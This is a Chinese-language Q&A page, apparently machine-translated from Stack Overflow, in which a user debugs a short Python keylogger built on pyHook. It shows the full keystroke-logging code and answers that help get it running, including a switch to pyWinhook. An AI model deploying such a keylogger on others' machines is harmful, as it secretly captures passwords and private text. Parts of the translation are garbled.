没有属性' HookManager'

时间:2016-10-01 12:23:08

标签: attributes keylogger pyhook

我正在从此视频中复制密钥记录器:(https://www.youtube.com/watch?v=8BiOPBsXh0g)并运行代码:

    import pyHook, sys, logging, pythoncom

    file_log = 'C:\Users\User\Google Drive\Python'

    def OnKeyboardEvent(event):
        logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
        chr(event.Ascii)
        logging.log(10, chr(event.Ascii))
        return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.Pumpmessages()

这将返回错误:

    Traceback (most recent call last):
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in  <module>
        import pyHook, sys, logging, pythoncom
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module>
        hooks_manager = pyHook.HookManager()
    AttributeError: 'module' object has no attribute 'HookManager'

我正在运行Python 2.7.11和一台Windows计算机。 我不知道问题是什么;请帮忙。 谢谢

4 个答案:

答案 0 :(得分:0)

我仍然不确定问题是什么,但我找到了解决方案。 如果您移动程序,您尝试运行与HookManager.py文件相同的文件夹,那么它的工作原理。

对我来说这个文件是: C:\ Python27 \ LIB \站点包\ pyHook

答案 1 :(得分:0)

这条线路错了

  

file_log = 'C:\Users\User\Google Drive\Python'

由于系统不允许您的程序写入&#39; C&#39;开车,你应该使用另一条路径,比如&#39; D&#39;驾驶或者&#39; E&#39;驾驶等等如下所示。

file_log = 'D:\keyloggerOutput.txt'

答案 2 :(得分:0)

我找到了解决方案。如果您打开HookManager.py并将所有'key_hook'字样更改为'keyboard_hook',则不会再出现错误

答案 3 :(得分:0)

在zip文件pyWinhook-1.6.1.zip上在python 3.7上安装pyWinhook-1.6.1之后,出现了相同的消息错误。 在应用程序文件中,我用“ from pywinhook import *”替换了导入语句:“将pyWinhook导入为pyHook”。然后问题解决了。